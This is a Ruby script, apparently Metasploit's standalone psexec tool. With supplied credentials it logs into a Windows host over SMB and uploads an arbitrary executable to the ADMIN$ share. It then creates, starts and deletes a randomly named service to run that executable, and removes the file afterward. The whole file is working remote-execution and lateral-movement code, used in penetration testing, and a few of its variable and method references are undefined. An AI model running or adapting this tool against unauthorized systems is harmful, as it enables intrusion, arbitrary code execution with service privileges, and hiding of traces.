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#!/usr/bin/env ruby
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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#
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# This is rough and dirty standalone (Rex only) psexec implementation
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#
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begin
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msfbase = __FILE__
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while File.symlink?(msfbase)
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  msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
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end
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gem 'rex-text'
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$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib')))
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require 'msfenv'
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$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']
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require 'rex'
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require 'rex/encoder/ndr'
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def print_error(msg)
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  $stderr.puts "[-] #{msg}"
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end
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def print_status(msg)
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  $stderr.puts "[+] #{msg}"
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end
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def print_lines(msg)
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  $stderr.puts "[+] #{msg}"
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end
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def usage
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  $stderr.puts "#{$0} [host] [exe] [user] [pass]"
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  exit(0)
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end
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def dcerpc_handle(uuid, version, protocol, opts, rhost)
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  Rex::Proto::DCERPC::Handle.new([uuid, version], protocol, rhost, opts)
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end
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def dcerpc_bind(handle, csocket, csimple, cuser, cpass)
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    opts = { }
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    opts['connect_timeout'] = 10
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    opts['read_timeout']    = 10
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    opts['smb_user'] = cuser
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    opts['smb_pass'] = cpass
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    opts['frag_size'] = 512
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    opts['smb_client'] = csimple
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    Rex::Proto::DCERPC::Client.new(handle, csocket, opts)
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  end
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def dcerpc_call(function, stub = '', timeout=nil, do_recv=true)
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  otimeout = dcerpc.options['read_timeout']
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  begin
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    dcerpc.options['read_timeout'] = timeout if timeout
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    dcerpc.call(function, stub, do_recv)
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  rescue ::Rex::Proto::SMB::Exceptions::NoReply, Rex::Proto::DCERPC::Exceptions::NoResponse
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    print_status("The DCERPC service did not reply to our request")
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    return
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  ensure
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    dcerpc.options['read_timeout'] = otimeout
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  end
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end
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opt_port = 445
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opt_host = ARGV.shift() || usage()
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opt_path = ARGV.shift() || usage()
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opt_user = ARGV.shift() || usage()
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opt_pass = ARGV.shift() || ""
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opt_share = "ADMIN$"
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opt_domain = "."
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begin
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  socket = Rex::Socket.create_tcp({ 'PeerHost' => opt_host, 'PeerPort' => opt_port.to_i })
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rescue Rex::ConnectionRefused, Rex::HostUnreachable => e
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  print_error("Could not connect: #{e}")
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  exit(1)
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end
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simple = Rex::Proto::SMB::SimpleClient.new(socket, opt_port.to_i == 445, versions = [1, 2])
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simple.login(
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  Rex::Text.rand_text_alpha(8),
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  opt_user,
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  opt_pass,
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  opt_domain
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)
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simple.connect("\\\\#{opt_host}\\IPC$")
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if (not simple.client.auth_user)
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  print_line(" ")
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  print_error(
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    "FAILED! The remote host has only provided us with Guest privileges. " +
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    "Please make sure that the correct username and password have been provided. " +
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    "Windows XP systems that are not part of a domain will only provide Guest privileges " +
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    "to network logins by default."
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  )
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  print_line(" ")
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  exit(1)
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end
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fname = Rex::Text.rand_text_alpha(8) + ".exe"
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sname = Rex::Text.rand_text_alpha(8)
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# Upload the payload to the share
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print_status("Uploading payload...")
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simple.connect(opt_share)
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fd = simple.open("\\#{fname}", 'rwct', 500)
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File.open(opt_path, "rb") do |efd|
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  fd << efd.read
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end
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fd.close
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print_status("Created \\#{fname}...")
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# Disconnect from the share
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simple.disconnect(opt_share)
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# Connect to the IPC service
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simple.connect("IPC$")
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# Bind to the service
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handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"], opt_host)
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print_status("Binding to #{handle} ...")
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dcerpc = dcerpc_bind(handle, socket, simple, opt_user, opt_pass)
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print_status("Bound to #{handle} ...")
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##
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# OpenSCManagerW()
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##
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print_status("Obtaining a service manager handle...")
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scm_handle = nil
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NDR = Rex::Encoder::NDR
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stubdata =
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  NDR.uwstring("\\\\#{opt_host}") +
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  NDR.long(0) +
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  NDR.long(0xF003F)
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begin
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  response = dcerpc.call(0x0f, stubdata)
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  if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
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    scm_handle = dcerpc.last_response.stub_data[0,20]
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  end
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rescue ::Exception => e
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  print_error("Error: #{e}")
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  return
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end
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##
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# CreateServiceW()
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##
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file_location = "%SYSTEMROOT%\\#{fname}"
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displayname = 'M' + Rex::Text.rand_text_alpha(rand(32)+1)
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svc_handle  = nil
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svc_status  = nil
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print_status("Creating a new service (#{sname} - \"#{displayname}\")...")
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stubdata =
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  scm_handle +
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  NDR.wstring(sname) +
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  NDR.uwstring(displayname) +
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  NDR.long(0x0F01FF) + # Access: MAX
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  NDR.long(0x00000110) + # Type: Interactive, Own process
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  NDR.long(0x00000003) + # Start: Demand
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  NDR.long(0x00000000) + # Errors: Ignore
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  NDR.wstring( file_location  ) + # Binary Path
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  NDR.long(0) + # LoadOrderGroup
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  NDR.long(0) + # Dependencies
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  NDR.long(0) + # Service Start
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  NDR.long(0) + # Password
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  NDR.long(0) + # Password
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  NDR.long(0) + # Password
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  NDR.long(0)  # Password
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begin
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  response = dcerpc.call(0x0c, stubdata)
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  if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
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    svc_handle = dcerpc.last_response.stub_data[0,20]
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    svc_status = dcerpc.last_response.stub_data[24,4]
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  end
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rescue ::Exception => e
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  print_error("Error: #{e}")
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  exit(1)
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end
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##
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# CloseHandle()
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##
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print_status("Closing service handle...")
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begin
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  response = dcerpc.call(0x0, svc_handle)
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rescue ::Exception
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end
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##
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# OpenServiceW
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##
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print_status("Opening service...")
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begin
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  stubdata =
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    scm_handle +
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    NDR.wstring(sname) +
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    NDR.long(0xF01FF)
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  response = dcerpc.call(0x10, stubdata)
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  if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
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    svc_handle = dcerpc.last_response.stub_data[0,20]
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  end
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rescue ::Exception => e
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  print_error("Error: #{e}")
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  exit(1)
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end
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##
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# StartService()
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##
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print_status("Starting the service...")
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stubdata =
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  svc_handle +
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  NDR.long(0) +
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  NDR.long(0)
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begin
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  response = dcerpc.call(0x13, stubdata)
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rescue ::Exception => e
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  print_error("Error: #{e}")
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  exit(1)
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end
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#
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# DeleteService()
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##
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print_status("Removing the service...")
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stubdata =	svc_handle
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begin
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  response = dcerpc.call(0x02, stubdata)
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  if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
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  end
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rescue ::Exception => e
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  print_error("Error: #{e}")
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end
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##
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# CloseHandle()
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##
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print_status("Closing service handle...")
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begin
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  response = dcerpc.call(0x0, svc_handle)
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rescue ::Exception => e
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  print_error("Error: #{e}")
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end
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begin
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  print_status("Deleting \\#{fname}...")
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  select(nil, nil, nil, 1.0)
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  simple.connect(smbshare)
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  simple.delete("\\#{fname}")
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rescue ::Interrupt
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  raise $!
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rescue ::Exception
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  #raise $!
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end
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rescue SignalException => e
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  puts("Aborted! #{e}")
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end
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